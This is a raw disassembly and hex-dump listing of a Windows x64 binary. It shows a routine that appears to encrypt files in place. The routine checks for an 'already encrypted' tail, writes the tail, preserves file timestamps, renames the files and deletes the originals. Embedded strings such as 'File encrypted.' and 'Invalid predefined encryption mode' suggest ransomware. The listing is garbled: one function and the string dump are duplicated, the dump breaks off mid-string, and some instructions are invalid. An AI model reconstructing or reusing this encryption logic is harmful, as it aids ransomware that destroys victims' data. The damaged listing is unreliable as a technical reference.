00445bcalea rdx, [rbp+272]
00445bd1lea r8, [rbp+272]
00445bd8call fn_4300b0
00445bddjmp 0x445bed
00445bdf
00445bdfloc_445bdf:
00445bdflea rcx, [rbp+272]
00445be6xor edx, edx
00445be8call fn_430990
00445bed
00445bedloc_445bed:
00445bedtest bl, bl
00445befje 0x445c84
00445bf5cmp [rbp+423], 2
00445bfcjbe 0x445c38
00445bfemov rcx, [rbp+424]
00445c05call CloseHandle
00445c0amov rax, [rip+0x1e3af]
00445c11cmp [rax+308], 0
00445c18je 0x446692
00445c1elea rcx, [rip+3523]
00445c25mov dl, 1
00445c27call fn_439060
00445c2cxor ecx, ecx
00445c2ecall fn_4392a0
00445c33jmp 0x446692
00445c38
00445c38loc_445c38:
00445c38cmp [rbp+422], 1
00445c3fjb 0x445c4a
00445c41cmp [rbp+422], 14
00445c48jbe 0x445c84
00445c4a
00445c4aloc_445c4a:
00445c4amov rcx, [rbp+424]
00445c51call CloseHandle
00445c56mov rax, [rip+0x1e363]
00445c5dcmp [rax+308], 0
00445c64je 0x446692
00445c6alea rcx, [rip+3567]
00445c71mov dl, 1
00445c73call fn_439060
00445c78xor ecx, ecx
00445c7acall fn_4392a0
00445c7fjmp 0x446692
00445c84
00445c84loc_445c84:
00445c84lea rcx, [rbp+280]
00445c8bmov rdx, [rbp+472]
00445c92call fn_414390
00445c97xor eax, eax
00445c99mov rcx, [rbp+280]
00445ca0test rcx, rcx
00445ca3je 0x445ca8
00445ca5mov eax, [rcx-4]
00445ca8
00445ca8loc_445ca8:
00445ca8mov rcx, [rbp+128]
00445cafmov rcx, [rcx]
00445cb2test rcx, rcx
00445cb5je 0x445cbb
00445cb7mov rcx, [rcx-8]
00445cbb
00445cbbloc_445cbb:
00445cbbmov rdx, [rbp+272]
00445cc2test rdx, rdx
00445cc5je 0x445ccb
00445cc7mov rdx, [rdx-8]
00445ccb
00445ccbloc_445ccb:
00445ccbmov r8, [rbp+352]
00445cd2mov r9, [rbp+472]
00445cd9mov r10l, ecx
00445cdclea rcx, [rbp+423]
00445ce3mov [rsp+32], rcx
00445ce8lea rcx, [rbp+422]
00445cefmov [rsp+40], rcx
00445cf4lea rcx, [rbp+364]
00445cfbmov [rsp+48], rcx
00445d00lea rcx, [rbp+360]
00445d07mov [rsp+56], rcx
00445d0cmov [rsp+64], bl
00445d10mov [rsp+72], edx
00445d14lea rcx, [rbp+260]
00445d1bmov [rsp+80], rcx
00445d20lea rcx, [rbp+264]
00445d27mov [rsp+88], rcx
00445d2cmov [rsp+96], 0
00445d31mov rcx, r8
00445d34mov rdx, r9
00445d37mov r8l, eax
00445d3amov r9l, r10l
00445d3dcall fn_4431c0
00445d42mov rcx, [rbp+424]
00445d49lea rdx, [rbp+344]
00445d50lea r8, [rbp+328]
00445d57lea r9, [rbp+336]
00445d5ecall GetFileTime
00445d63test eax, eax
00445d65jne 0x445d7b
00445d67mov [rbp+344], 0
00445d71mov [rbp+348], 0
00445d7b
00445d7bloc_445d7b:
00445d7blea rcx, [rbp+320]
00445d82mov edx, [rbp+344]
00445d88call fn_430990
00445d8dlea rcx, [rbp+312]
00445d94mov edx, [rbp+348]
00445d9acall fn_430990
00445d9flea rcx, [rbp+376]
00445da6mov rdx, [rip-0x16f8d]
00445dadcall fn_410600
00445db2lea rcx, [rbp+376]
00445db9mov rdx, [rip-0x16fa0]
00445dc0mov r8l, 1
00445dc6mov r9l, [rbp+364]
00445dcdcall fn_410430
00445dd2mov rax, [rbp+376]
00445dd9mov [rax+1], 0
00445dddmov rax, [rbp+376]
00445de4mov [rax+3], 0
00445de8mov rax, [rbp+376]
00445defmov [rax+5], 0
00445df3mov rax, [rbp+376]
00445dfamov [rax+7], 0
00445dfelea rcx, [rbp+224]
00445e05mov rdx, [rbp+464]
00445e0cmov r8, [rbp+472]
00445e13call fn_40d230
00445e18lea rcx, [rbp+424]
00445e1fmov rdx, [rbp+352]
00445e26mov r8l, [rbp+364]
00445e2dlea r9, [rbp+376]
00445e34mov rax, [rbp+224]
00445e3bmov [rsp+32], rax
00445e40call fn_4442e0
00445e45test al, al
00445e47jne 0x445eb7
00445e49lea rcx, [rbp+216]
00445e50mov rdx, [rbp+464]
00445e57mov r8, [rbp+472]
00445e5ecall fn_40d230
00445e63lea rcx, [rbp+424]
00445e6amov rdx, [rbp+352]
00445e71mov r8, [rbp+216]
00445e78call fn_443770
00445e7dmov rcx, [rbp+424]
00445e84call CloseHandle
00445e89mov rax, [rip+0x1e130]
00445e90cmp [rax+308], 0
00445e97je 0x446692
00445e9dlea rcx, [rip+3112]
00445ea4mov dl, 1
00445ea6call fn_439060
00445eabxor ecx, ecx
00445eadcall fn_4392a0
00445eb2jmp 0x446692
00445eb7
00445eb7loc_445eb7:
00445eb7mov rcx, [rbp+424]
00445ebemov rax, [rbp+352]
00445ec5mov edx, [rbp+364]
00445ecblea rdx, [rax+rdx]
00445ecfcall fn_445590
00445ed4lea rcx, [rbp+408]
00445edbmov rdx, [rip-0x170c2]
00445ee2call fn_410600
00445ee7lea rcx, [rbp+408]
00445eeemov rdx, [rip-0x170d5]
00445ef5mov r8l, 1
00445efbmov r9l, [rbp+360]
00445f02call fn_410430
00445f07mov [rbp+388], 0
00445f11lea rcx, [rbp+400]
00445f18lea rdx, [rbp+392]
00445f1fmov r8b, 1
00445f22call fn_443910
00445f27movzx rax, [rbp+423]
00445f2fsub al, 1
00445f32cmp al, -1
00445f35je 0x445f4b
00445f37test al, al
00445f39je 0x445f9e
00445f3bsub al, 1
00445f3etest al, al
00445f40jne 0x44606a
00445f46jmp 0x445ffa
00445f4b
00445f4bloc_445f4b:
00445f4blea rcx, [rbp+424]
00445f52lea rdx, [rbp+400]
00445f59mov r8, [rbp+120]
00445f5dlea r9, [rbp+408]
00445f64lea rax, [rbp+388]
00445f6bmov [rsp+32], rax
00445f70mov rax, [rbp+504]
00445f77mov [rsp+40], rax
00445f7cmov rax, [rbp+512]
00445f83mov [rsp+48], rax
00445f88mov rax, [rbp+520]
00445f8fmov [rsp+56], rax
00445f94call fn_444240
00445f99jmp 0x44606a
00445f9e
00445f9eloc_445f9e:
00445f9elea rcx, [rbp+424]
00445fa5mov rdx, [rbp+352]
00445faclea r8, [rbp+400]
00445fb3mov r9, [rbp+120]
00445fb7lea rax, [rbp+408]
00445fbemov [rsp+32], rax
00445fc3lea rax, [rbp+388]
00445fcamov [rsp+40], rax
00445fcfmov rax, [rbp+504]
00445fd6mov [rsp+48], rax
00445fdbmov rax, [rbp+512]
00445fe2mov [rsp+56], rax
00445fe7mov rax, [rbp+520]
00445feemov [rsp+64], rax
00445ff3call fn_444050
00445ff8jmp 0x44606a
00445ffa
00445ffaloc_445ffa:
00445ffalea rcx, [rbp+424]
00446001mov rdx, [rbp+352]
00446008lea r8, [rbp+400]
0044600fmov r9, [rbp+120]
00446013lea rax, [rbp+408]
0044601amov [rsp+32], rax
0044601flea rax, [rbp+388]
00446026mov [rsp+40], rax
0044602bmov eax, [rbp+260]
00446031mov [rsp+48], eax
00446035mov rax, [rbp+264]
0044603cmov [rsp+56], rax
00446041mov rax, [rbp+504]
00446048mov [rsp+64], rax
0044604dmov rax, [rbp+512]
00446054mov [rsp+72], rax
00446059mov rax, [rbp+520]
00446060mov [rsp+80], rax
00446065call fn_444140
0044606a
0044606aloc_44606a:
0044606amov rax, [rip+0x1df4f]
00446071cmp [rax+321], 0
00446078jne 0x4460b9
0044607acmp [rbp+344], 0
00446081jne 0x44608c
00446083cmp [rbp+348], 0
0044608aje 0x4460b9
0044608c
0044608cloc_44608c:
0044608cmov [rbp+344], 1
00446096mov [rbp+348], 0
004460a0mov rcx, [rbp+424]
004460a7lea rdx, [rbp+344]
004460aexor r8, r8
004460b1xor r9, r9
004460b4call SetFileTime
004460b9
004460b9loc_4460b9:
004460b9lea rcx, [rbp+320]
004460c0lea rdx, [rbp+312]
004460c7lea r8, [rbp+304]
004460cecall fn_4300b0
004460d3lea rcx, [rbp+280]
004460dalea rdx, [rip+2643]
004460e1mov r8, [rbp+280]
004460e8call fn_40ca10
004460edmov rcx, [rbp+280]
004460f4lea rdx, [rbp+296]
004460fbcall fn_430db0
00446100lea rcx, [rbp+304]
00446107lea rdx, [rbp+296]
0044610elea r8, [rbp+304]
00446115call fn_4300b0
0044611alea rcx, [rbp+288]
00446121mov rdx, [rip-0x17308]
00446128call fn_410600
0044612dlea rcx, [rbp+288]
00446134mov rdx, [rip-0x1731b]
0044613bmov r8l, 1
00446141mov r9l, 16
00446147call fn_410430
0044614cmov rax, [rbp+304]
00446153test rax, rax
00446156je 0x44615c
00446158mov rax, [rax-8]
0044615c
0044615cloc_44615c:
0044615cmov rcx, [rbp+304]
00446163mov edx, eax
00446165mov r8, [rbp+288]
0044616ccall fn_445320
00446171lea rcx, [rbp+288]
00446178lea rdx, [rbp+304]
0044617flea r8, [rbp+304]
00446186call fn_4300b0
0044618blea rcx, [rbp+296]
00446192mov rdx, [rip-0x17379]
00446199call fn_410600
0044619emov rax, [rbp+304]
004461a5test rax, rax
004461a8je 0x4461ae
004461aamov rax, [rax-8]
004461ae
004461aeloc_4461ae:
004461aelea rcx, [rbp+296]
004461b5mov rdx, [rip-0x1739c]
004461bcmov r8l, 1
004461c2mov r9, rax
004461c5call fn_410430
004461camov rax, [rbp+304]
004461d1test rax, rax
004461d4je 0x4461da
004461d6mov rax, [rax-8]
004461da
004461daloc_4461da:
004461dalea rcx, [rbp+304]
004461e1mov rdx, [rbp+120]
004461e5lea r8, [rbp+392]
004461eclea r9, [rbp+296]
004461f3mov [rsp+32], eax
004461f7mov rax, [rbp+520]
004461femov [rsp+40], rax
00446203call fn_435c80
00446208lea rcx, [rbp+376]
0044620fmov rdx, [rbp+128]
00446216lea r8, [rbp+392]
0044621dmovzx r9, [rbp+423]
00446225movzx rax, [rbp+422]
0044622dmov [rsp+32], al
00446231mov eax, [rbp+388]
00446237mov [rsp+40], eax
0044623bmov eax, [rbp+260]
00446241mov [rsp+48], eax
00446245mov rax, [rbp+264]
0044624cmov [rsp+56], rax
00446251lea rax, [rbp+408]
00446258mov [rsp+64], rax
0044625dlea rax, [rbp+296]
00446264mov [rsp+72], rax
00446269lea rax, [rbp+272]
00446270mov [rsp+80], rax
00446275call fn_442210
0044627amov rbx, [rbp+376]
00446281test rbx, rbx
00446284je 0x44628a
00446286mov rbx, [rbx-8]
0044628a
0044628aloc_44628a:
0044628alea rcx, [rbp+208]
00446291mov rdx, [rbp+464]
00446298mov r8, [rbp+472]
0044629fcall fn_40d230
004462a4lea rcx, [rbp+424]
004462abmov rdx, [rbp+352]
004462b2mov r8l, ebx
004462b5lea r9, [rbp+376]
004462bcmov rax, [rbp+208]
004462c3mov [rsp+32], rax
004462c8call fn_4442e0
004462cdtest al, al
004462cfjne 0x44633f
004462d1lea rcx, [rbp+200]
004462d8mov rdx, [rbp+464]
004462dfmov r8, [rbp+472]
004462e6call fn_40d230
004462eblea rcx, [rbp+424]
004462f2mov rdx, [rbp+352]
004462f9mov r8, [rbp+200]
00446300call fn_443770
00446305mov rcx, [rbp+424]
0044630ccall CloseHandle
00446311mov rax, [rip+0x1dca8]
00446318cmp [rax+308], 0
0044631fje 0x446692
00446325lea rcx, [rip+2072]
0044632cmov dl, 1
0044632ecall fn_439060
00446333xor ecx, ecx
00446335call fn_4392a0
0044633ajmp 0x446692
0044633f
0044633floc_44633f:
0044633fmov rcx, [rbp+424]
00446346mov rax, [rbp+352]
0044634dmov edx, [rbp+364]
00446353lea rdx, [rax+rdx]
00446357call fn_445680
0044635cmov rax, [rip+0x1dc5d]
00446363cmp [rax+321], 0
0044636aje 0x446396
0044636ccmp [rbp+344], 0
00446373jne 0x44637e
00446375cmp [rbp+348], 0
0044637cje 0x446396
0044637e
0044637eloc_44637e:
0044637emov rcx, [rbp+424]
00446385xor edx, edx
00446387xor r8, r8
0044638alea r9, [rbp+336]
00446391call SetFileTime
00446396
00446396loc_446396:
00446396mov rax, [rip+0x1dc23]
0044639dcmp [rax+308], 0
004463a4je 0x4463b4
004463a6lea rcx, [rip+2055]
004463admov dl, 1
004463afcall fn_439060
004463b4
004463b4loc_4463b4:
004463b4mov rcx, [rbp+424]
004463bbcall CloseHandle
004463c0mov rax, [rip+0x1dbf9]
004463c7cmp [rax+321], 0
004463cejne 0x446692
004463d4lea rcx, [rbp+424]
004463dbmov rdx, [rbp+464]
004463e2mov r8, [rbp+472]
004463e9xor r9, r9
004463eccall fn_444b80
004463f1test al, al
004463f3jne 0x44641c
004463f5mov rax, [rip+0x1dbc4]
004463fccmp [rax+308], 0
00446403je 0x446692
00446409lea rcx, [rip+2000]
00446410mov dl, 1
00446412call fn_439060
00446417jmp 0x446692
0044641c
0044641cloc_44641c:
0044641cmov rcx, [rbp+424]
00446423lea rdx, [rbp+352]
0044642acall GetFileSizeEx
0044642ftest eax, eax
00446431jne 0x446466
00446433mov rcx, [rbp+424]
0044643acall CloseHandle
0044643fmov rax, [rip+0x1db7a]
00446446cmp [rax+308], 0
0044644dje 0x446692
00446453lea rcx, [rip+1998]
0044645amov dl, 1
0044645ccall fn_439060
00446461jmp 0x446692
00446466
00446466loc_446466:
00446466xor esi, esi
00446469cmp [rbp+352], 16
00446471jle 0x4464b6
00446473lea rcx, [rbp+192]
0044647amov rdx, [rbp+464]
00446481mov r8, [rbp+472]
00446488call fn_40d230
0044648dlea rcx, [rbp+424]
00446494mov rdx, [rbp+352]
0044649bmov r8, [rbp+192]
004464a2lea r9, [rbp+272]
004464a9mov [rsp+32], 0
004464aecall fn_444860
004464b3mov esi, eax
004464b6
004464b6loc_4464b6:
004464b6cmp sil, 1
004464baje 0x44650c
004464bcmov rcx, [rbp+424]
004464c3call CloseHandle
004464c8mov rax, [rip+0x1daf1]
004464cfcmp [rax+308], 0
004464d6je 0x446692
004464dccmp sil, 3
004464e0jne 0x4464f2
004464e2lea rcx, [rip+1935]
004464e9mov dl, 1
004464ebcall fn_439060
004464f0jmp 0x446500
004464f2
004464f2loc_4464f2:
004464f2lea rcx, [rip+2059]
004464f9mov dl, 1
004464fbcall fn_439060
00446500
00446500loc_446500:
00446500xor ecx, ecx
00446502call fn_4392a0
00446507jmp 0x446692
0044650c
0044650cloc_44650c:
0044650cmov rcx, [rbp+424]
00446513call CloseHandle
00446518mov rax, [rip+0x1daa1]
0044651fcmp [rax+308], 0
00446526je 0x446536
00446528lea rcx, [rip+2125]
0044652fmov dl, 1
00446531call fn_439060
00446536
00446536loc_446536:
00446536lea rcx, [rbp+368]
0044653dmov rdx, [rbp+464]
00446544mov r8, [rbp+352]
0044654bmovzx r9, [rbp+422]
00446553mov [rsp+32], 2
00446558call fn_42ef80
0044655dlea rcx, [rbp+176]
00446564mov rdx, [rbp+464]
0044656bmov r8, [rbp+472]
00446572call fn_40d230
00446577lea rcx, [rbp+184]
0044657emov rdx, [rbp+176]
00446585call fn_42f780
0044658amov rcx, [rbp+184]
00446591call fn_40d180
00446596mov rbx, rax
00446599lea rcx, [rbp+160]
004465a0mov rdx, [rbp+464]
004465a7mov r8, [rbp+368]
004465aecall fn_40d230
004465b3lea rcx, [rbp+168]
004465bamov rdx, [rbp+160]
004465c1call fn_42f780
004465c6mov rcx, [rbp+168]
004465cdcall fn_40d180
004465d2mov rcx, rbx
004465d5mov rdx, rax
004465d8call MoveFileW
004465ddtest eax, eax
004465dfjne 0x446608
004465e1mov rax, [rip+0x1d9d8]
004465e8cmp [rax+308], 0
004465efje 0x446692
004465f5lea rcx, [rip+1980]
004465fcmov dl, 1
004465fecall fn_439060
00446603jmp 0x446692
00446608
00446608loc_446608:
00446608mov rax, [rip+0x1d9b1]
0044660fcmp [rax+308], 0
00446616je 0x446626
00446618lea rcx, [rip+2013]
0044661fmov dl, 1
00446621call fn_439060
00446626
00446626loc_446626:
00446626lea rcx, [rbp+152]
0044662dmov rdx, [rbp+464]
00446634mov r8, [rbp+472]
0044663bcall fn_40d230
00446640mov rcx, [rbp+152]
00446647call fn_42fe80
0044664ctest al, al
0044664eje 0x446691
00446650lea rcx, [rbp+136]
00446657mov rdx, [rbp+464]
0044665emov r8, [rbp+472]
00446665call fn_40d230
0044666alea rcx, [rbp+144]
00446671mov rdx, [rbp+136]
00446678call fn_42f780
0044667dmov rcx, [rbp+144]
00446684call fn_40d180
00446689mov rcx, rax
0044668ccall DeleteFileW
00446691
00446691loc_446691:
00446691nop
00446692
00446692loc_446692:
00446692lea rcx, [rbp+136]
00446699mov edx, 13
0044669ecall fn_40be70
004466a3lea rcx, [rbp+240]
004466aacall fn_40bcf0
004466aflea rcx, [rbp+248]
004466b6call fn_40bd90
004466bblea rcx, [rbp+272]
004466c2mov rdx, [rip-0x178a9]
004466c9call fn_410600
004466celea rcx, [rbp+280]
004466d5call fn_40bd40
004466dalea rcx, [rbp+288]
004466e1mov rdx, [rip-0x178c8]
004466e8mov r8l, 5
004466eecall fn_40ec40
004466f3lea rcx, [rbp+368]
004466facall fn_40bd90
004466fflea rcx, [rbp+376]
00446706mov rdx, [rip-0x178ed]
0044670dcall fn_410600
00446712lea rcx, [rbp+392]
00446719mov rdx, [rip-0x17900]
00446720mov r8l, 3
00446726call fn_40ec40
0044672blea rcx, [rbp+464]
00446732mov edx, 2
00446737call fn_40be70
0044673clea rsp, [rbp+432]
00446743pop rbx
00446744pop rsi
00446745pop rbp
00446746ret
00445770
00446747
00446747 90 48 8d 04 05 00 00 00 00 .H.......
00446747 90 48 8d 04 05 00 00 00 00 .H.......
00446750
00446750fn_446750:
00446750push rbp
00446751push rbx
00446752sub rsp, 40
00446756mov rbp, rsp
00446759mov rbx, rdx
0044675clea rcx, [rbx+136]
00446763mov edx, 13
00446768call fn_40be70
0044676dlea rcx, [rbx+240]
00446774call fn_40bcf0
00446779lea rcx, [rbx+248]
00446780call fn_40bd90
00446785lea rcx, [rbx+272]
0044678cmov rdx, [rip-0x17973]
00446793call fn_410600
00446798lea rcx, [rbx+280]
0044679fcall fn_40bd40
004467a4lea rcx, [rbx+288]
004467abmov rdx, [rip-0x17992]
004467b2mov r8l, 5
004467b8call fn_40ec40
004467bdlea rcx, [rbx+368]
004467c4call fn_40bd90
004467c9lea rcx, [rbx+376]
004467d0mov rdx, [rip-0x179b7]
004467d7call fn_410600
004467dclea rcx, [rbx+392]
004467e3mov rdx, [rip-0x179ca]
004467eamov r8l, 3
004467f0call fn_40ec40
004467f5lea rcx, [rbx+464]
004467fcmov edx, 2
00446801call fn_40be70
00446806lea rsp, [rbp+40]
0044680apop rbx
0044680bpop rbp
0044680cret
00446750
00446750fn_446750:
00446750push rbp
00446751push rbx
00446752sub rsp, 40
00446756mov rbp, rsp
00446759mov rbx, rdx
0044675clea rcx, [rbx+136]
00446763mov edx, 13
00446768call fn_40be70
0044676dlea rcx, [rbx+240]
00446774call fn_40bcf0
00446779lea rcx, [rbx+248]
00446780call fn_40bd90
00446785lea rcx, [rbx+272]
0044678cmov rdx, [rip-0x17973]
00446793call fn_410600
00446798lea rcx, [rbx+280]
0044679fcall fn_40bd40
004467a4lea rcx, [rbx+288]
004467abmov rdx, [rip-0x17992]
004467b2mov r8l, 5
004467b8call fn_40ec40
004467bdlea rcx, [rbx+368]
004467c4call fn_40bd90
004467c9lea rcx, [rbx+376]
004467d0mov rdx, [rip-0x179b7]
004467d7call fn_410600
004467dclea rcx, [rbx+392]
004467e3mov rdx, [rip-0x179ca]
004467eamov r8l, 3
004467f0call fn_40ec40
004467f5lea rcx, [rbx+464]
004467fcmov edx, 2
00446801call fn_40be70
00446806lea rsp, [rbp+40]
0044680apop rbx
0044680bpop rbp
0044680cret
00446750
0044680d
0044680d 00 00 00 ...
00446810 1c 00 00 00 50 00 72 00 6f 00 63 00 65 00 73 00 ....P.r.o.c.e.s.
00446820 73 00 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 s. .f.i.l.e.:. .
00446830 00 00 00 00 b0 04 02 00 ff ff ff ff 19 00 00 00 ................
00446840 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
00446850 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 6f 00 .C.a.n.'.t. .o.
00446860 70 00 65 00 6e 00 20 00 66 00 69 00 6c 00 65 00 p.e.n. .f.i.l.e.
00446870 2e 00 00 00 b0 04 02 00 ff ff ff ff 1d 00 00 00 ................
00446880 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
00446890 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 67 00 .C.a.n.'.t. .g.
004468a0 65 00 74 00 20 00 66 00 69 00 6c 00 65 00 20 00 e.t. .f.i.l.e. .
004468b0 73 00 69 00 7a 00 65 00 2e 00 00 00 b0 04 02 00 s.i.z.e.........
004468c0 ff ff ff ff 1c 00 00 00 48 00 49 00 4e 00 54 00 ........H.I.N.T.
004468d0 3a 00 20 00 45 00 6d 00 70 00 74 00 79 00 20 00 :. .E.m.p.t.y. .
004468e0 66 00 69 00 6c 00 65 00 2e 00 20 00 53 00 6b 00 f.i.l.e... .S.k.
004468f0 69 00 70 00 20 00 66 00 69 00 6c 00 65 00 2e 00 i.p. .f.i.l.e...
00446900 00 00 00 00 b0 04 02 00 ff ff ff ff 26 00 00 00 ............&...
00446910 48 00 49 00 4e 00 54 00 3a 00 20 00 46 00 69 00 H.I.N.T.:. .F.i.
00446920 6c 00 65 00 20 00 61 00 6c 00 72 00 65 00 61 00 l.e. .a.l.r.e.a.
00446930 64 00 79 00 20 00 65 00 6e 00 63 00 72 00 79 00 d.y. .e.n.c.r.y.
00446940 70 00 74 00 65 00 64 00 2e 00 20 00 53 00 6b 00 p.t.e.d... .S.k.
00446950 69 00 70 00 20 00 69 00 74 00 2e 00 00 00 00 00 i.p. .i.t.......
00446960 b0 04 02 00 ff ff ff ff 36 00 00 00 57 00 41 00 ........6...W.A.
00446970 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 49 00 R.N.I.N.G.:. .I.
00446980 6e 00 61 00 63 00 63 00 65 00 73 00 73 00 69 00 n.a.c.c.e.s.s.i.
00446990 62 00 6c 00 65 00 20 00 74 00 6f 00 20 00 72 00 b.l.e. .t.o. .r.
004469a0 65 00 61 00 64 00 20 00 74 00 61 00 69 00 6c 00 e.a.d. .t.a.i.l.
004469b0 20 00 6f 00 70 00 65 00 72 00 61 00 74 00 69 00 .o.p.e.r.a.t.i.
004469c0 6f 00 6e 00 2e 00 20 00 53 00 6b 00 69 00 70 00 o.n... .S.k.i.p.
004469d0 20 00 69 00 74 00 2e 00 00 00 00 00 b0 04 02 00 .i.t...........
004469e0 ff ff ff ff 34 00 00 00 45 00 52 00 52 00 4f 00 ....4...E.R.R.O.
004469f0 52 00 3a 00 20 00 49 00 6e 00 76 00 61 00 6c 00 R.:. .I.n.v.a.l.
00446a00 69 00 64 00 65 00 20 00 70 00 72 00 65 00 64 00 i.d.e. .p.r.e.d.
00446a10 65 00 66 00 69 00 6e 00 65 00 64 00 20 00 65 00 e.f.i.n.e.d. .e.
00446a20 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 n.c.r.y.p.t.i.o.
00446a30 6e 00 20 00 6d 00 6f 00 64 00 65 00 2e 00 20 00 n. .m.o.d.e... .
00446a40 53 00 6b 00 69 00 70 00 20 00 69 00 74 00 2e 00 S.k.i.p. .i.t...
00446a50 00 00 00 00 b0 04 02 00 ff ff ff ff 2e 00 00 00 ................
00446a60 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 49 00 E.R.R.O.R.:. .I.
00446a70 6e 00 76 00 61 00 6c 00 69 00 64 00 65 00 20 00 n.v.a.l.i.d.e. .
00446a80 70 00 72 00 65 00 64 00 65 00 66 00 69 00 6e 00 p.r.e.d.e.f.i.n.
00446a90 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 e.d. .f.i.l.e. .
00446aa0 74 00 79 00 70 00 65 00 2e 00 20 00 53 00 6b 00 t.y.p.e... .S.k.
00446ab0 69 00 70 00 20 00 69 00 74 00 2e 00 00 00 00 00 i.p. .i.t.......
00446ac0 b0 04 02 00 ff ff ff ff 2d 00 00 00 57 00 41 00 ........-...W.A.
00446ad0 52 00 4e 00 49 00 4e 00 47 00 3a 00 20 00 43 00 R.N.I.N.G.:. .C.
00446ae0 61 00 6e 00 27 00 74 00 20 00 69 00 6e 00 63 00 a.n.'.t. .i.n.c.
00446af0 72 00 65 00 61 00 73 00 65 00 20 00 66 00 69 00 r.e.a.s.e. .f.i.
00446b00 6c 00 65 00 20 00 73 00 69 00 7a 00 65 00 2e 00 l.e. .s.i.z.e...
00446b10 20 00 53 00 6b 00 69 00 70 00 20 00 66 00 69 00 .S.k.i.p. .f.i.
00446b20 6c 00 65 00 2e 00 00 00 e3 04 01 00 ff ff ff ff l.e.............
00446b30 02 00 00 00 00 00 00 00 b0 04 02 00 ff ff ff ff ................
00446b40 30 00 00 00 45 00 52 00 52 00 4f 00 52 00 3a 00 0...E.R.R.O.R.:.
00446b50 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 77 00 .C.a.n.'.t. .w.
00446b60 72 00 69 00 74 00 65 00 20 00 74 00 61 00 69 00 r.i.t.e. .t.a.i.
00446b70 6c 00 20 00 74 00 6f 00 20 00 66 00 69 00 6c 00 l. .t.o. .f.i.l.
00446b80 65 00 2e 00 20 00 46 00 69 00 6c 00 65 00 20 00 e... .F.i.l.e. .
00446b90 63 00 6f 00 72 00 72 00 75 00 70 00 74 00 65 00 c.o.r.r.u.p.t.e.
00446ba0 64 00 21 00 00 00 00 00 b0 04 02 00 ff ff ff ff d.!.............
00446bb0 0f 00 00 00 46 00 69 00 6c 00 65 00 20 00 65 00 ....F.i.l.e. .e.
00446bc0 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 n.c.r.y.p.t.e.d.
00446bd0 2e 00 00 00 b0 04 02 00 ff ff ff ff 1c 00 00 00 ................
00446be0 48 00 49 00 4e 00 54 00 3a 00 20 00 43 00 61 00 H.I.N.T.:. .C.a.
00446bf0 6e 00 27 00 74 00 20 00 6f 00 70 00 65 00 6e 00 n.'.t. .o.p.e.n.
00446c00 20 00 66 00 69 00 6c 00 65 00 20 00 61 00 67 00 .f.i.l.e. .a.g.
00446c10 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
00446c20 ff ff ff ff 20 00 00 00 48 00 49 00 4e 00 54 00 .... ...H.I.N.T.
00446c30 3a 00 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 :. .C.a.n.'.t. .
00446c40 67 00 65 00 74 00 20 00 66 00 69 00 6c 00 65 00 g.e.t. .f.i.l.e.
00446c50 20 00 73 00 69 00 7a 00 65 00 20 00 61 00 67 00 .s.i.z.e. .a.g.
00446c60 61 00 69 00 6e 00 2e 00 00 00 00 00 b0 04 02 00 a.i.n...........
00446c70 ff ff ff ff 3f 00 00 00 57 00 41 00 52 00 4e 00 ....?...W.A.R.N.
00446c80 49 00 4e 00 47 00 20 00 6f 00 72 00 20 00 45 00 I.N.G. .o.r. .E.
00446c90 52 00 52 00 4f 00 52 00 3a 00 20 00 43 00 61 00 R.R.O.R.:. .C.a.
00446ca0 6e 00 27 00 74 00 20 00 72 00 65 00 61 00 64 00 n.'.t. .r.e.a.d.
00446cb0 20 00 74 00 61 00 69 00 6c 00 20 00 74 00 6f 00 .t.a.i.l. .t.o.
00446cc0 20 00 63 00 68 00 65 00 63 00 6b 00 20 00 66 00 .c.h.e.c.k. .f.
00446cd0 69 00 6c 00 65 00 20 00 6f 00 6e 00 20 00 65 00 i.l.e. .o.n. .e.
00446ce0 6e 00 63 00 72 00 74 00 79 00 70 00 74 00 69 00 n.c.r.t.y.p.t.i.
00446cf0 6f 00 6e 00 2e 00 00 00 b0 04 02 00 ff ff ff ff o.n.............
00446d00 34 00 00 00 57 00 41 00 52 00 4e 00 49 4...W.A.R.N.I
0044680d 00 00 00 ...
00446810 1c 00 00 00 50 00 72 00 6f 00 63 00 65 00 73 00 ....P.r.o.c.e.s.
00446820 73 00 20 00 66 00 69 00 6c 00 65 00 3a 00 20 00 s. .f.i.l.e.:. .
00446830 00 00 00 00 b0 04 02 00 ff ff ff ff 19 00 00 00 ................
00446840 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
00446850 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 6f 00 .C.a.n.'.t. .o.
00446860 70 00 65 00 6e 00 20 00 66 00 69 00 6c 00 65 00 p.e.n. .f.i.l.e.
00446870 2e 00 00 00 b0 04 02 00 ff ff ff ff 1d 00 00 00 ................
00446880 57 00 41 00 52 00 4e 00 49 00 4e 00 47 00 3a 00 W.A.R.N.I.N.G.:.
00446890 20 00 43 00 61 00 6e 00 27 00 74 00 20 00 67 00 .C.a.n.'.t. .g.
004468a0 65 00 74 00 20 00 66 00 69 00 6c 00 65 00 20 00 e.t. .f.i.l.e. .
004468b0 73 00 69 00 7a 00 65 00 2e 00 00 00 b0 04 02 00 s.i.z.e.........
004468c0 ff ff ff ff 1c 00 00 00 48 00 49 00 4e 00 54 00 ........H.I.N.T.
004468d0 3a 00 20 00 45 00 6d 00 70 00 74 00 79 00 20 00 :. .E.m.p.t.y. .
004468e0 66 00 69 00 6c 00 65 00 2e 00 20 00 53 00 6b 00 f.i.l.e... .S.k.
004468f0 69 00 70 00 20 00 66 00 69 00 6c 00 65 00 2e 00 i.p. .f.i.l.e...
00446900 00 00 00 00 b0 04 02 00 ff ff ff ff 26 00 00 00 ............&...
00446910 48 00 49 00 4e 00 54 00 3a 00 20 00 46 00 69 00 H.I.N.T.:. .F.i.
